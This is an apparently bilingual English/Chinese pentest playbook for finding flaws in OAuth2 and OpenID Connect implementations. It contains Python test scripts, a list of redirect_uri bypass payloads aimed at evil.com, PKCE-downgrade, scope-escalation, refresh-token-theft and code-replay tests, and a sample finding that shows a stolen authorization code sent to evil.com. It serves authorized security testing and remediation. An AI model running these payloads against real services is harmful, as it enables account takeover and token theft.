testing-oauth2-implementation-flaws
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseTesting OAuth2 Implementation Flaws
OAuth2实现漏洞测试
When to Use
适用场景
- Assessing OAuth 2.0 authorization code flow for redirect URI validation weaknesses
- Testing OAuth client applications for CSRF protection (state parameter usage) and PKCE enforcement
- Evaluating token storage, transmission, and lifecycle management in OAuth implementations
- Testing scope escalation where clients request more permissions than authorized
- Assessing OpenID Connect implementations for ID token validation and nonce usage
Do not use without written authorization. OAuth testing may result in token theft or unauthorized access.
- 评估OAuth 2.0授权码流程中的重定向URI验证薄弱点
- 测试OAuth客户端应用的CSRF防护(state参数使用情况)和PKCE强制实施情况
- 评估OAuth实现中的令牌存储、传输和生命周期管理
- 测试客户端请求超出授权权限范围的权限范围升级问题
- 评估OpenID Connect实现中的ID令牌验证和nonce使用情况
未经书面授权请勿使用。OAuth测试可能导致令牌被盗或未授权访问。
Prerequisites
前置条件
- Written authorization specifying the OAuth provider and client applications in scope
- Test OAuth client registered with the authorization server
- Burp Suite Professional for intercepting OAuth redirects and token flows
- Python 3.10+ with and
requestslibrariesoauthlib - Browser developer tools for observing OAuth redirect chains
- Knowledge of the OAuth 2.0 grant types in use (authorization code, implicit, client credentials)
- 书面授权,明确测试范围内的OAuth提供商和客户端应用
- 在授权服务器注册的测试OAuth客户端
- 用于拦截OAuth重定向和令牌流程的Burp Suite Professional
- 安装了和
requests库的Python 3.10+oauthlib - 用于观察OAuth重定向链的浏览器开发者工具
- 了解当前使用的OAuth 2.0授权类型(授权码、隐式、客户端凭证)
Workflow
测试流程
Step 1: OAuth Flow Reconnaissance
步骤1:OAuth流程侦察
python
import requests
import urllib.parse
import re
import hashlib
import base64
import secrets
AUTH_SERVER = "https://auth.example.com"
CLIENT_ID = "test-client-id"
REDIRECT_URI = "https://app.example.com/callback"
SCOPE = "openid profile email"python
import requests
import urllib.parse
import re
import hashlib
import base64
import secrets
AUTH_SERVER = "https://auth.example.com"
CLIENT_ID = "test-client-id"
REDIRECT_URI = "https://app.example.com/callback"
SCOPE = "openid profile email"Discover OAuth endpoints
发现OAuth端点
well_known = requests.get(f"{AUTH_SERVER}/.well-known/openid-configuration")
if well_known.status_code == 200:
config = well_known.json()
print("OAuth/OIDC Configuration:")
print(f" Authorization: {config.get('authorization_endpoint')}")
print(f" Token: {config.get('token_endpoint')}")
print(f" UserInfo: {config.get('userinfo_endpoint')}")
print(f" JWKS: {config.get('jwks_uri')}")
print(f" Supported grants: {config.get('grant_types_supported')}")
print(f" Supported scopes: {config.get('scopes_supported')}")
print(f" PKCE methods: {config.get('code_challenge_methods_supported')}")
auth_endpoint = config['authorization_endpoint']
token_endpoint = config['token_endpoint']
else:
# Try common paths
for path in ["/authorize", "/oauth/authorize", "/oauth2/authorize", "/auth"]:
resp = requests.get(f"{AUTH_SERVER}{path}", allow_redirects=False)
if resp.status_code in (302, 400):
print(f"Authorization endpoint found: {AUTH_SERVER}{path}")
auth_endpoint = f"{AUTH_SERVER}{path}"
break
undefinedwell_known = requests.get(f"{AUTH_SERVER}/.well-known/openid-configuration")
if well_known.status_code == 200:
config = well_known.json()
print("OAuth/OIDC Configuration:")
print(f" Authorization: {config.get('authorization_endpoint')}")
print(f" Token: {config.get('token_endpoint')}")
print(f" UserInfo: {config.get('userinfo_endpoint')}")
print(f" JWKS: {config.get('jwks_uri')}")
print(f" Supported grants: {config.get('grant_types_supported')}")
print(f" Supported scopes: {config.get('scopes_supported')}")
print(f" PKCE methods: {config.get('code_challenge_methods_supported')}")
auth_endpoint = config['authorization_endpoint']
token_endpoint = config['token_endpoint']
else:
# 尝试常见路径
for path in ["/authorize", "/oauth/authorize", "/oauth2/authorize", "/auth"]:
resp = requests.get(f"{AUTH_SERVER}{path}", allow_redirects=False)
if resp.status_code in (302, 400):
print(f"Authorization endpoint found: {AUTH_SERVER}{path}")
auth_endpoint = f"{AUTH_SERVER}{path}"
break
undefinedStep 2: Redirect URI Validation Testing
步骤2:重定向URI验证测试
python
undefinedpython
undefinedTest redirect_uri validation strictness
测试redirect_uri验证严格性
REDIRECT_BYPASS_PAYLOADS = [
# Open redirect variations
REDIRECT_URI, # Legitimate
"https://evil.com", # Different domain
"https://app.example.com.evil.com/callback", # Subdomain of attacker
"https://app.example.com@evil.com/callback", # URL authority confusion
f"{REDIRECT_URI}/../../../evil.com", # Path traversal
f"{REDIRECT_URI}?next=https://evil.com", # Parameter injection
f"{REDIRECT_URI}#https://evil.com", # Fragment injection
f"{REDIRECT_URI}%23evil.com", # Encoded fragment
"https://app.example.com/callback/../../evil", # Relative path
"https://APP.EXAMPLE.COM/callback", # Case variation
"https://app.example.com/Callback", # Path case variation
"https://app.example.com/callback/", # Trailing slash
"https://app.example.com/callback?", # Trailing question mark
"http://app.example.com/callback", # HTTP downgrade
"https://app.example.com:443/callback", # Explicit port
"https://app.example.com:8443/callback", # Different port
f"{REDIRECT_URI}/.evil.com", # Dot segment
"https://app.example.com/callbackevil", # Path prefix match
"javascript://app.example.com/callback%0aalert(1)", # JavaScript protocol
]
print("=== Redirect URI Validation Testing ===\n")
for redirect in REDIRECT_BYPASS_PAYLOADS:
params = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": redirect,
"scope": SCOPE,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
if "code=" in location or redirect in location:
status = "ACCEPTED"
if redirect != REDIRECT_URI:
print(f" [VULNERABLE] {redirect[:70]} -> Redirect accepted")
else:
status = "REDIRECTED"
elif resp.status_code == 400:
status = "REJECTED"
else:
status = f"HTTP {resp.status_code}"
if redirect == REDIRECT_URI:
print(f" [BASELINE] {redirect[:70]} -> {status}")undefinedREDIRECT_BYPASS_PAYLOADS = [
# 开放重定向变体
REDIRECT_URI, # 合法URI
"https://evil.com", # 不同域名
"https://app.example.com.evil.com/callback", # 攻击者子域名
"https://app.example.com@evil.com/callback", # URL权限混淆
f"{REDIRECT_URI}/../../../evil.com", # 路径遍历
f"{REDIRECT_URI}?next=https://evil.com", # 参数注入
f"{REDIRECT_URI}#https://evil.com", # 片段注入
f"{REDIRECT_URI}%23evil.com", # 编码片段
"https://app.example.com/callback/../../evil", # 相对路径
"https://APP.EXAMPLE.COM/callback", # 大小写变体
"https://app.example.com/Callback", # 路径大小写变体
"https://app.example.com/callback/", # 尾部斜杠
"https://app.example.com/callback?", # 尾部问号
"http://app.example.com/callback", # HTTP降级
"https://app.example.com:443/callback", # 显式端口
"https://app.example.com:8443/callback", # 不同端口
f"{REDIRECT_URI}/.evil.com", # 点段
"https://app.example.com/callbackevil", # 路径前缀匹配
"javascript://app.example.com/callback%0aalert(1)", # JavaScript协议
]
print("=== 重定向URI验证测试 ===\n")
for redirect in REDIRECT_BYPASS_PAYLOADS:
params = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": redirect,
"scope": SCOPE,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
if "code=" in location or redirect in location:
status = "ACCEPTED"
if redirect != REDIRECT_URI:
print(f" [存在漏洞] {redirect[:70]} -> 重定向被接受")
else:
status = "REDIRECTED"
elif resp.status_code == 400:
status = "REJECTED"
else:
status = f"HTTP {resp.status_code}"
if redirect == REDIRECT_URI:
print(f" [基准测试] {redirect[:70]} -> {status}")undefinedStep 3: State Parameter (CSRF) Testing
步骤3:State参数(CSRF)测试
python
undefinedpython
undefinedTest 1: Missing state parameter
测试1:缺少state参数
params_no_state = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": SCOPE,
}
resp = requests.get(auth_endpoint, params=params_no_state, allow_redirects=False)
if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""):
print("[CSRF] Authorization code issued without state parameter")
params_no_state = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": SCOPE,
}
resp = requests.get(auth_endpoint, params=params_no_state, allow_redirects=False)
if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""):
print("[CSRF] 未提供state参数仍颁发授权码")
Test 2: State parameter reuse
测试2:重复使用state参数
state_value = "fixed_state_value_123"
state_value = "fixed_state_value_123"
Use same state for multiple authorization requests
多次授权请求使用相同state
for i in range(3):
params = {**params_no_state, "state": state_value}
resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
returned_state = urllib.parse.parse_qs(
urllib.parse.urlparse(location).query).get("state", [None])[0]
if returned_state == state_value:
print(f"[INFO] Same state accepted on attempt {i+1} (check client-side validation)")
for i in range(3):
params = {**params_no_state, "state": state_value}
resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
returned_state = urllib.parse.parse_qs(
urllib.parse.urlparse(location).query).get("state", [None])[0]
if returned_state == state_value:
print(f"[信息] 第{i+1}次请求接受相同state(需检查客户端验证)")
Test 3: Token exchange without state validation (client-side check)
测试3:未验证state的令牌交换(客户端检查)
Intercept the callback and try exchanging the code without state
拦截回调请求,尝试不携带state交换授权码
print("\nNote: State validation is a client-side check. Verify the callback handler validates state.")
undefinedprint("\n注意:state验证是客户端侧检查,请验证回调处理程序是否验证state。")
undefinedStep 4: PKCE Bypass Testing
步骤4:PKCE绕过测试
python
undefinedpython
undefinedTest if PKCE (Proof Key for Code Exchange) is enforced
测试是否强制实施PKCE(授权码交换证明密钥)
Generate PKCE values
生成PKCE值
code_verifier = secrets.token_urlsafe(64)[:128]
code_challenge = base64.urlsafe_b64encode(
hashlib.sha256(code_verifier.encode()).digest()
).decode().rstrip('=')
code_verifier = secrets.token_urlsafe(64)[:128]
code_challenge = base64.urlsafe_b64encode(
hashlib.sha256(code_verifier.encode()).digest()
).decode().rstrip('=')
Test 1: Authorization request without PKCE
测试1:不携带PKCE的授权请求
params_no_pkce = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": SCOPE,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=params_no_pkce, allow_redirects=False)
if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""):
print("[PKCE] Authorization code issued without PKCE challenge")
params_no_pkce = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": SCOPE,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=params_no_pkce, allow_redirects=False)
if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""):
print("[PKCE] 未提供PKCE挑战仍颁发授权码")
Test 2: Token exchange without code_verifier
测试2:不携带code_verifier的令牌交换
auth_code = "captured_auth_code" # From intercept
token_resp = requests.post(token_endpoint, data={
"grant_type": "authorization_code",
"code": auth_code,
"redirect_uri": REDIRECT_URI,
"client_id": CLIENT_ID,
# No code_verifier
})
if token_resp.status_code == 200:
print("[PKCE] Token issued without code_verifier - PKCE not enforced")
auth_code = "captured_auth_code" # 从拦截中获取
token_resp = requests.post(token_endpoint, data={
"grant_type": "authorization_code",
"code": auth_code,
"redirect_uri": REDIRECT_URI,
"client_id": CLIENT_ID,
# 无code_verifier
})
if token_resp.status_code == 200:
print("[PKCE] 未提供code_verifier仍颁发令牌 - PKCE未强制实施")
Test 3: Token exchange with wrong code_verifier
测试3:使用错误code_verifier的令牌交换
token_resp = requests.post(token_endpoint, data={
"grant_type": "authorization_code",
"code": auth_code,
"redirect_uri": REDIRECT_URI,
"client_id": CLIENT_ID,
"code_verifier": "wrong_verifier_value_that_does_not_match",
})
if token_resp.status_code == 200:
print("[PKCE] Token issued with wrong code_verifier - PKCE validation broken")
token_resp = requests.post(token_endpoint, data={
"grant_type": "authorization_code",
"code": auth_code,
"redirect_uri": REDIRECT_URI,
"client_id": CLIENT_ID,
"code_verifier": "wrong_verifier_value_that_does_not_match",
})
if token_resp.status_code == 200:
print("[PKCE] 使用错误code_verifier仍颁发令牌 - PKCE验证失效")
Test 4: Downgrade from S256 to plain
测试4:从S256降级为plain
params_plain_pkce = {
**params_no_pkce,
"code_challenge": code_verifier, # Plain = verifier itself
"code_challenge_method": "plain",
}
resp = requests.get(auth_endpoint, params=params_plain_pkce, allow_redirects=False)
if resp.status_code == 302:
print("[PKCE] Plain challenge method accepted - vulnerable to interception")
undefinedparams_plain_pkce = {
**params_no_pkce,
"code_challenge": code_verifier, # Plain = 验证器本身
"code_challenge_method": "plain",
}
resp = requests.get(auth_endpoint, params=params_plain_pkce, allow_redirects=False)
if resp.status_code == 302:
print("[PKCE] 接受Plain挑战方法 - 易被拦截攻击")
undefinedStep 5: Scope Escalation and Token Testing
步骤5:权限范围升级与令牌测试
python
undefinedpython
undefinedTest 1: Request additional scopes beyond what's registered
测试1:请求超出注册范围的额外权限
elevated_scopes = [
"openid profile email admin",
"openid profile email write:users",
"openid profile email delete:",
"openid profile email admin:full",
"",
]
for scope in elevated_scopes:
params = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": scope,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
if "code=" in location:
print(f"[SCOPE] Elevated scope accepted: {scope}")
elevated_scopes = [
"openid profile email admin",
"openid profile email write:users",
"openid profile email delete:",
"openid profile email admin:full",
"",
]
for scope in elevated_scopes:
params = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": scope,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
if "code=" in location:
print(f"[权限范围] 接受升级后的权限范围: {scope}")
Test 2: Token reuse across clients
测试2:跨客户端复用令牌
Use a token from client A on client B's API
将客户端A的令牌用于客户端B的API
token_a = "access_token_from_client_a"
resp = requests.get("https://other-service.example.com/api/resource",
headers={"Authorization": f"Bearer {token_a}"})
if resp.status_code == 200:
print("[TOKEN] Token from client A accepted by different service (audience not validated)")
token_a = "access_token_from_client_a"
resp = requests.get("https://other-service.example.com/api/resource",
headers={"Authorization": f"Bearer {token_a}"})
if resp.status_code == 200:
print("[令牌] 客户端A的令牌被其他服务接受(未验证受众)")
Test 3: Refresh token theft and reuse
测试3:刷新令牌窃取与复用
refresh_token = "captured_refresh_token"
refresh_token = "captured_refresh_token"
Try using refresh token with different client_id
尝试使用不同client_id的刷新令牌
token_resp = requests.post(token_endpoint, data={
"grant_type": "refresh_token",
"refresh_token": refresh_token,
"client_id": "different-client-id",
})
if token_resp.status_code == 200:
print("[TOKEN] Refresh token accepted for different client - not bound to client")
undefinedtoken_resp = requests.post(token_endpoint, data={
"grant_type": "refresh_token",
"refresh_token": refresh_token,
"client_id": "different-client-id",
})
if token_resp.status_code == 200:
print("[令牌] 刷新令牌被其他客户端接受 - 未绑定到客户端")
undefinedStep 6: Implicit Flow and Token Leakage Testing
步骤6:隐式流程与令牌泄露测试
python
undefinedpython
undefinedTest if implicit flow is enabled (should be disabled per OAuth 2.1)
测试是否启用隐式流程(OAuth 2.1中应禁用)
implicit_params = {
"response_type": "token",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": SCOPE,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=implicit_params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
if "access_token=" in location:
print("[IMPLICIT] Implicit flow enabled - token in URL fragment (deprecated/insecure)")
implicit_params = {
"response_type": "token",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": SCOPE,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=implicit_params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
if "access_token=" in location:
print("[隐式流程] 隐式流程已启用 - 令牌在URL片段中(已弃用/不安全)")
Test token leakage via Referer header
测试通过Referer头泄露令牌
Check if tokens appear in URLs that could leak via Referer
检查令牌是否出现在可能通过Referer泄露的URL中
print("\nToken Leakage Checks:")
print(" - Check if access tokens appear in URL query parameters")
print(" - Check if tokens are logged in server access logs")
print(" - Check if callback URL with code is cached by the browser")
print(" - Check if the authorization code is single-use (replay test)")
print("\n令牌泄露检查:")
print(" - 检查访问令牌是否出现在URL查询参数中")
print(" - 检查令牌是否被记录在服务器访问日志中")
print(" - 检查带有授权码的回调URL是否被浏览器缓存")
print(" - 检查授权码是否为单次使用(重放测试)")
Authorization code replay test
授权码重放测试
auth_code_to_replay = "captured_auth_code"
for attempt in range(3):
token_resp = requests.post(token_endpoint, data={
"grant_type": "authorization_code",
"code": auth_code_to_replay,
"redirect_uri": REDIRECT_URI,
"client_id": CLIENT_ID,
"client_secret": "client_secret_value",
})
print(f" Code replay attempt {attempt+1}: {token_resp.status_code}")
if attempt > 0 and token_resp.status_code == 200:
print(" [VULNERABLE] Authorization code is not single-use")
undefinedauth_code_to_replay = "captured_auth_code"
for attempt in range(3):
token_resp = requests.post(token_endpoint, data={
"grant_type": "authorization_code",
"code": auth_code_to_replay,
"redirect_uri": REDIRECT_URI,
"client_id": CLIENT_ID,
"client_secret": "client_secret_value",
})
print(f" 授权码重放尝试 {attempt+1}: {token_resp.status_code}")
if attempt > 0 and token_resp.status_code == 200:
print(" [存在漏洞] 授权码并非单次使用")
undefinedKey Concepts
核心概念
| Term | Definition |
|---|---|
| Authorization Code Flow | OAuth 2.0 flow where the client receives an authorization code via redirect, then exchanges it for tokens at the token endpoint |
| PKCE | Proof Key for Code Exchange - extension that binds the authorization request to the token request using a code verifier/challenge, preventing authorization code interception |
| Redirect URI Validation | Authorization server verification that the redirect_uri matches the registered value exactly, preventing code/token theft via open redirect |
| State Parameter | Random value passed in the authorization request and verified in the callback to prevent CSRF attacks on the OAuth flow |
| Scope Escalation | Requesting or obtaining more permissions (scopes) than the client is authorized for, enabling unauthorized access |
| Implicit Flow | Deprecated OAuth flow that returns tokens directly in the URL fragment, vulnerable to token leakage and replay attacks |
| 术语 | 定义 |
|---|---|
| Authorization Code Flow | OAuth 2.0流程,客户端通过重定向获取授权码,然后在令牌端点交换为令牌 |
| PKCE | 授权码交换证明密钥 - 扩展功能,通过代码验证器/挑战将授权请求与令牌请求绑定,防止授权码拦截 |
| Redirect URI Validation | 授权服务器验证redirect_uri是否与注册值完全匹配,防止通过开放重定向窃取代码/令牌 |
| State Parameter | 在授权请求中传递的随机值,在回调中验证以防止OAuth流程中的CSRF攻击 |
| Scope Escalation | 请求或获取超出客户端授权的权限(范围),导致未授权访问 |
| Implicit Flow | 已弃用的OAuth流程,直接在URL片段中返回令牌,易受令牌泄露和重放攻击 |
Tools & Systems
工具与系统
- Burp Suite Professional: Intercept and manipulate OAuth redirects, authorization codes, and token exchanges
- EsPReSSO (Burp Extension): Automated testing of OAuth and OpenID Connect implementations for known vulnerabilities
- oauth2-security-tester: Dedicated tool for testing OAuth 2.0 flows against common attack patterns
- OWASP ZAP: Passive scanner that detects OAuth misconfigurations in intercepted traffic
- jwt.io: Online JWT decoder for analyzing OAuth access tokens and ID tokens
- Burp Suite Professional: 拦截和操纵OAuth重定向、授权码和令牌交换
- EsPReSSO (Burp Extension): 自动化测试OAuth和OpenID Connect实现中的已知漏洞
- oauth2-security-tester: 专门用于测试OAuth 2.0流程常见攻击模式的工具
- OWASP ZAP: 被动扫描器,检测拦截流量中的OAuth配置错误
- jwt.io: 在线JWT解码器,用于分析OAuth访问令牌和ID令牌
Common Scenarios
常见场景
Scenario: Social Login OAuth Implementation Assessment
场景:社交登录OAuth实现评估
Context: A web application implements "Login with Google" and "Login with GitHub" using OAuth 2.0 Authorization Code flow. The application is a SaaS platform where account takeover has high business impact.
Approach:
- Analyze the OAuth configuration at for both providers
/.well-known/openid-configuration - Test redirect URI validation: discover that the application registers but the server accepts
https://app.example.com/callbackhttps://app.example.com/callback/..%2fevil - Test state parameter: authorization request includes state but the callback handler does not validate it (CSRF possible)
- Test PKCE: not implemented for the authorization code flow, making code interception possible on mobile
- Test implicit flow: still enabled despite not being used by the application
- Test scope: application requests but the authorization server also grants
openid profile emailwithout explicit consentread:repos - Test authorization code replay: code can be exchanged twice, indicating lack of single-use enforcement
- Test token audience: access token from Google login accepted by GitHub API endpoint (audience not validated)
Pitfalls:
- Only testing the OAuth flow in the browser without intercepting and manipulating redirect parameters
- Not testing both the authorization request and the token exchange independently
- Missing open redirect vulnerabilities in the application that can be chained with OAuth redirect_uri
- Not testing the state parameter validation on the client side (server may include it but client may not check it)
- Assuming PKCE is enforced because the authorization server supports it (client must also send it)
背景: 某Web应用使用OAuth 2.0授权码流程实现"使用Google登录"和"使用GitHub登录"。该应用是SaaS平台,账户接管会带来高业务影响。
测试方法:
- 分析两个提供商在的OAuth配置
/.well-known/openid-configuration - 测试重定向URI验证:发现应用注册了,但服务器接受
https://app.example.com/callbackhttps://app.example.com/callback/..%2fevil - 测试state参数:授权请求包含state,但回调处理程序未验证(存在CSRF风险)
- 测试PKCE:授权码流程未实现PKCE,导致移动端易被代码拦截
- 测试隐式流程:尽管应用未使用,但仍处于启用状态
- 测试权限范围:应用请求,但授权服务器在无明确同意的情况下还授予了
openid profile email权限read:repos - 测试授权码重放:授权码可被交换两次,说明未强制单次使用
- 测试令牌受众:Google登录的访问令牌被GitHub API端点接受(未验证受众)
常见误区:
- 仅在浏览器中测试OAuth流程,未拦截和操纵重定向参数
- 未独立测试授权请求和令牌交换过程
- 遗漏应用中可与OAuth redirect_uri结合的开放重定向漏洞
- 未测试客户端侧的state参数验证(服务器可能包含但客户端未检查)
- 假设授权服务器支持PKCE就会强制实施(客户端也必须发送相关参数)
Output Format
输出格式
undefinedundefinedFinding: OAuth2 Redirect URI Bypass Enables Authorization Code Theft
发现:OAuth2重定向URI绕过可导致授权码窃取
ID: API-OAUTH-001
Severity: Critical (CVSS 9.3)
Affected Component: OAuth 2.0 Authorization Code Flow
Authorization Server: auth.example.com
Description:
The authorization server's redirect_uri validation uses prefix matching
instead of exact string matching. An attacker can manipulate the redirect_uri
to redirect the authorization code to an attacker-controlled endpoint,
enabling account takeover. Additionally, PKCE is not enforced and the
state parameter is not validated by the client application.
Proof of Concept:
- Craft authorization URL with manipulated redirect_uri: https://auth.example.com/authorize?response_type=code&client_id=app &redirect_uri=https://app.example.com/callback/../../../evil.com &scope=openid+profile+email&state=abc123
- User authenticates and approves consent
- Authorization code redirected to https://evil.com?code=AUTH_CODE&state=abc123
- Attacker exchanges code at token endpoint (no PKCE required)
- Attacker receives access token and ID token for victim's account
Impact:
Complete account takeover for any user who clicks a crafted OAuth login link.
The attacker gains full access to the user's profile, email, and any
resources the OAuth scope grants access to.
Remediation:
- Implement exact string matching for redirect_uri validation (no wildcards, no prefix matching)
- Enforce PKCE (S256 method) for all authorization code flow requests
- Validate the state parameter in the callback handler before exchanging the code
- Disable the implicit flow on the authorization server
- Enforce single-use authorization codes with a short TTL (max 60 seconds)
- Validate the audience (aud) claim in tokens before accepting them
undefinedID: API-OAUTH-001
严重程度: 关键(CVSS 9.3)
受影响组件: OAuth 2.0授权码流程
授权服务器: auth.example.com
描述:
授权服务器的redirect_uri验证使用前缀匹配而非精确字符串匹配。攻击者可操纵redirect_uri将授权码重定向到攻击者控制的端点,从而实现账户接管。此外,PKCE未被强制实施,且客户端应用未验证state参数。
概念验证:
- 构造带有操纵后redirect_uri的授权URL: https://auth.example.com/authorize?response_type=code&client_id=app &redirect_uri=https://app.example.com/callback/../../../evil.com &scope=openid+profile+email&state=abc123
- 用户认证并同意授权
- 授权码被重定向到https://evil.com?code=AUTH_CODE&state=abc123
- 攻击者在令牌端点交换代码(无需PKCE)
- 攻击者获取受害者账户的访问令牌和ID令牌
影响:
任何点击精心构造的OAuth登录链接的用户都会被完全接管账户。攻击者可完全访问用户的个人资料、邮箱以及OAuth权限范围内的所有资源。
修复建议:
- 对redirect_uri验证实现精确字符串匹配(不使用通配符,不使用前缀匹配)
- 对所有授权码流程请求强制实施PKCE(S256方法)
- 在交换代码前,在回调处理程序中验证state参数
- 在授权服务器上禁用隐式流程
- 强制授权码单次使用,并设置短TTL(最长60秒)
- 在接受令牌前验证受众(aud)声明
undefined